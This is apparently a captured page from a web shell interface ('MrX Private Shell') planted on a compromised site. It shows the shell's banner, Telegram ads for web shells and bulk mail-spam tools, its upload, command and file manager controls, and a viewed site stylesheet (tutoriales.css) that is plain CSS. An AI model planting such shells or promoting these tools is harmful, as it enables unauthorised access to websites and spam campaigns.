__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
body.tutorials-page{
  background:
    radial-gradient(circle at 8% 10%, rgba(181, 18, 27, 0.16), transparent 28%),
    radial-gradient(circle at 92% 12%, rgba(15, 76, 129, 0.14), transparent 24%),
    linear-gradient(180deg, #fff8f4 0%, #ffffff 38%, #fff6f0 100%);
}

.tutorials-page .page-wrap{
  padding-top: 30px;
  padding-bottom: 56px;
}

.tutorials-intro,
.tutorials-nav,
.tutorial-stage{
  position: relative;
  overflow: hidden;
  background: rgba(255, 255, 255, 0.84);
  border: 1px solid rgba(17, 17, 17, 0.08);
  border-radius: 30px;
  box-shadow: 0 24px 60px rgba(35, 18, 18, 0.10);
  backdrop-filter: blur(16px);
}

.tutorials-intro
{
  padding: 30px;
}

.tutorials-intro::before,
.tutorials-nav::before,
.tutorial-stage::before{
  content: "";
  position: absolute;
  width: 220px;
  height: 220px;
  border-radius: 999px;
  background: radial-gradient(circle, var(--tutorial-accent, #b5121b) 0%, transparent 70%);
  opacity: 0.14;
  pointer-events: none;
}

.tutorials-intro::before{
  top: -70px;
  right: -40px;
}


.tutorials-kicker,
.tutorials-nav-kicker{
  margin: 0 0 12px;
  font-size: 12px;
  font-weight: 800;
  letter-spacing: 0.18em;
  text-transform: uppercase;
  color: #8a1b24;
}

.tutorials-title{
  margin: 0;
  font-size: clamp(30px, 4vw, 46px);
  line-height: 1.08;
  color: #181212;
}

.tutorials-lead,
.tutorials-nav-intro,
.tutorial-stage-description{
  color: #5e626d;
  line-height: 1.7;
}

.tutorials-lead{
  max-width: 60ch;
  margin: 16px 0 0;
  font-size: 16px;
}

.tutorials-stats{
  display: flex;
  flex-wrap: wrap;
  gap: 14px;
  margin-top: 24px;
}

.tutorials-shell{
  position: relative;
  display: grid;
  grid-template-columns: minmax(290px, 360px) minmax(0, 1fr);
  gap: 24px;
  align-items: start;
}

.tutorials-shell::before{
  content: "";
  position: absolute;
  inset: 32px 24px 24px 24px;
  z-index: -1;
  border-radius: 36px;
  background: linear-gradient(135deg, rgba(181, 18, 27, 0.14), rgba(255, 255, 255, 0));
  filter: blur(38px);
}

.tutorials-nav{
  --tutorial-accent: #b5121b;
  padding: 28px;
}

.tutorials-nav-intro{
  margin: 0;
}

.tutorials-groups{
  display: grid;
  gap: 14px;
  margin-top: 22px;
}

.tutorial-group{
  border: 1px solid rgba(17, 17, 17, 0.08);
  border-radius: 24px;
  background: linear-gradient(180deg, rgba(255, 255, 255, 0.92), rgba(246, 237, 233, 0.76));
  overflow: hidden;
}

.tutorials-group-toggle{
  width: 100%;
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 14px;
  padding: 18px 20px;
  border: 0;
  background: transparent;
  color: #181212;
  font: inherit;
  text-align: left;
  cursor: pointer;
}

.tutorials-group-toggle:hover,
.tutorials-group-toggle:focus-visible{
  outline: none;
  background: rgba(17, 17, 17, 0.03);
}

.tutorials-group-title{
  font-size: 18px;
  font-weight: 800;
  line-height: 1.25;
}

.tutorials-group-icon{
  width: 12px;
  height: 12px;
  flex: none;
  border-right: 2px solid currentColor;
  border-bottom: 2px solid currentColor;
  transform: rotate(45deg);
  transition: transform 0.25s ease;
}

.tutorial-group.is-open .tutorials-group-icon{
  transform: rotate(225deg);
}

.tutorials-group-panel{
  padding: 0 14px 14px;
}

.tutorials-list{
  display: grid;
  gap: 12px;
}

.tutorial-trigger{
  position: relative;
  width: 100%;
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 12px;
  padding: 18px 20px;
  border: 1px solid rgba(17, 17, 17, 0.08);
  border-radius: 22px;
  background: linear-gradient(135deg, rgba(255, 255, 255, 0.98), rgba(249, 239, 235, 0.92));
  color: #181212;
  font: inherit;
  font-size: 16px;
  font-weight: 800;
  text-align: left;
  cursor: pointer;
  overflow: hidden;
  transition:
    transform 0.25s ease,
    box-shadow 0.25s ease,
    border-color 0.25s ease,
    background 0.25s ease,
    color 0.25s ease;
}

.tutorial-trigger::before{
  content: "";
  position: absolute;
  inset: 0 auto 0 0;
  width: 4px;
  background: var(--tutorial-accent, #b5121b);
  transform: scaleY(0.36);
  transform-origin: center;
  transition: transform 0.25s ease, background 0.25s ease;
}

.tutorial-trigger::after{
  content: "";
  width: 12px;
  height: 12px;
  flex: none;
  border-radius: 999px;
  border: 2px solid rgba(17, 17, 17, 0.18);
  transition: border-color 0.25s ease, background 0.25s ease, box-shadow 0.25s ease;
}

.tutorial-trigger:hover,
.tutorial-trigger:focus-visible{
  transform: translateX(7px);
  border-color: rgba(17, 17, 17, 0.15);
  box-shadow: 0 16px 30px rgba(24, 18, 18, 0.08);
  outline: none;
}

.tutorial-trigger.is-active{
  color: #ffffff;
  border-color: transparent;
  background: linear-gradient(135deg, var(--tutorial-accent, #b5121b), #201313 140%);
  box-shadow: 0 24px 36px rgba(0, 0, 0, 0.18);
}

.tutorial-trigger.is-active::before{
  background: rgba(255, 255, 255, 0.7);
  transform: scaleY(1);
}

.tutorial-trigger.is-active::after{
  border-color: #ffffff;
  background: #ffffff;
  box-shadow: 0 0 0 6px rgba(255, 255, 255, 0.16);
}

.tutorial-name{
  min-width: 0;
  letter-spacing: 0.01em;
}

.tutorial-stage{
  padding: 30px;
  display: grid;
  gap: 24px;
  --tutorial-accent: #b5121b;
}

.tutorial-stage::before{
  top: -90px;
  right: -50px;
}

.tutorial-stage-copy{
  position: relative;
  z-index: 1;
  display: grid;
  gap: 18px;
}

.tutorial-stage-meta{
  display: flex;
  flex-wrap: wrap;
  gap: 10px;
}

.tutorial-pill{
  display: inline-flex;
  align-items: center;
  padding: 8px 14px;
  border-radius: 999px;
  background: rgba(17, 17, 17, 0.06);
  color: #181212;
  font-size: 13px;
  font-weight: 800;
  letter-spacing: 0.02em;
}

.tutorial-pill-accent{
  background: var(--tutorial-accent, #b5121b);
  color: #ffffff;
}

.tutorial-stage-head{
  display: grid;
  gap: 10px;
}

.tutorial-stage-title{
  margin: 0;
  font-size: clamp(30px, 4vw, 44px);
  line-height: 1.05;
  color: #181212;
}

.tutorial-stage-description{
  max-width: 66ch;
  margin: 0;
}

.tutorial-stage-actions{
  display: flex;
  flex-wrap: wrap;
  align-items: center;
  gap: 12px;
}

.tutorial-link{
  display: inline-flex;
  align-items: center;
  justify-content: center;
  min-height: 46px;
  padding: 0 18px;
  border-radius: 999px;
  background: #111111;
  color: #ffffff;
  font-weight: 800;
  text-decoration: none;
  transition: transform 0.25s ease, box-shadow 0.25s ease, background 0.25s ease;
}

.tutorial-link:hover,
.tutorial-link:focus-visible{
  transform: translateY(-1px);
  background: var(--tutorial-accent, #b5121b);
  box-shadow: 0 16px 26px rgba(0, 0, 0, 0.14);
  outline: none;
}

.tutorial-link.is-disabled{
  background: rgba(17, 17, 17, 0.18);
  color: rgba(255, 255, 255, 0.92);
  box-shadow: none;
  pointer-events: none;
}

.tutorial-stage-note{
  color: #5e626d;
  font-size: 14px;
  line-height: 1.6;
}

.tutorial-viewer{
  position: relative;
  aspect-ratio: 16 / 9;
  border-radius: 28px;
  overflow: hidden;
  background:
    linear-gradient(135deg, rgba(255, 255, 255, 0.18), transparent 42%),
    radial-gradient(circle at top, rgba(255, 255, 255, 0.12), transparent 52%),
    #111111;
  border: 1px solid rgba(255, 255, 255, 0.08);
  box-shadow: 0 30px 60px rgba(9, 9, 11, 0.22);
}

.tutorial-viewer-frame{
  width: 100%;
  height: 100%;
  background: #0b0b0d;
}

.tutorial-media{
  display: block;
  width: 100%;
  height: 100%;
  border: 0;
  background: #09090b;
}

.tutorial-loader{
  position: absolute;
  right: 20px;
  bottom: 20px;
  display: flex;
  align-items: center;
  gap: 8px;
  padding: 12px 14px;
  border-radius: 999px;
  background: rgba(255, 255, 255, 0.14);
  backdrop-filter: blur(10px);
  opacity: 0;
  transform: translateY(8px);
  transition: opacity 0.25s ease, transform 0.25s ease;
  pointer-events: none;
}

.tutorial-loader span{
  width: 8px;
  height: 8px;
  border-radius: 999px;
  background: #ffffff;
  animation: tutorialBounce 1s infinite ease-in-out;
}

.tutorial-loader span:nth-child(2){
  animation-delay: 0.15s;
}

.tutorial-loader span:nth-child(3){
  animation-delay: 0.3s;
}

.tutorial-stage.is-loading .tutorial-loader{
  opacity: 1;
  transform: translateY(0);
}

.tutorial-stage.is-switching .tutorial-viewer{
  animation: tutorialPanelSwap 0.46s ease;
}

.tutorial-fallback{
  width: 100%;
  height: 100%;
  display: grid;
  place-items: center;
  padding: 24px;
  text-align: center;
  color: #ffffff;
  background:
    radial-gradient(circle at top, rgba(217, 95, 74, 0.60), transparent 36%),
    linear-gradient(180deg, rgba(18, 18, 22, 0.94), rgba(10, 10, 12, 0.98));
}

.tutorial-fallback h3{
  margin: 0 0 10px;
  font-size: 24px;
}

.tutorial-fallback p{
  margin: 0;
  max-width: 34ch;
  line-height: 1.6;
  color: rgba(255, 255, 255, 0.84);
}

@keyframes tutorialPanelSwap{
  0%{
    opacity: 0.6;
    transform: translateY(12px) scale(0.985);
  }
  100%{
    opacity: 1;
    transform: translateY(0) scale(1);
  }
}

@keyframes tutorialBounce{
  0%,
  80%,
  100%{
    transform: scale(0.6);
    opacity: 0.5;
  }
  40%{
    transform: scale(1);
    opacity: 1;
  }
}

@media (max-width: 1100px){
  .tutorials-hero{
    grid-template-columns: 1fr;
  }

  .tutorials-shell{
    grid-template-columns: 1fr;
  }
}

@media (max-width: 720px){
  .tutorials-intro,
  .tutorials-highlight,
  .tutorials-nav,
  .tutorial-stage{
    padding: 22px;
    border-radius: 24px;
  }

  .tutorial-trigger{
    padding: 16px 18px;
    border-radius: 18px;
  }

  .tutorial-link{
    width: 100%;
  }

  .tutorial-stage-actions{
    align-items: stretch;
  }
}

@media (prefers-reduced-motion: reduce){
  .tutorial-trigger,
  .tutorial-link,
  .tutorial-loader,
  .tutorial-stage.is-switching .tutorial-viewer{
    transition: none;
    animation: none;
  }
}

Filemanager

Name Type Size Permission Actions
cajabusqueda.css File 3.8 KB 0664
home-sliders.css File 15.66 KB 0664
login-estadisticas-biblioteca.css File 4.42 KB 0664
mas-servicios.css File 7.24 KB 0664
quienes-somos.css File 13.43 KB 0664
salas.css File 2.63 KB 0664
style.css File 26.2 KB 0664
tutoriales.css File 9.48 KB 0664
Filemanager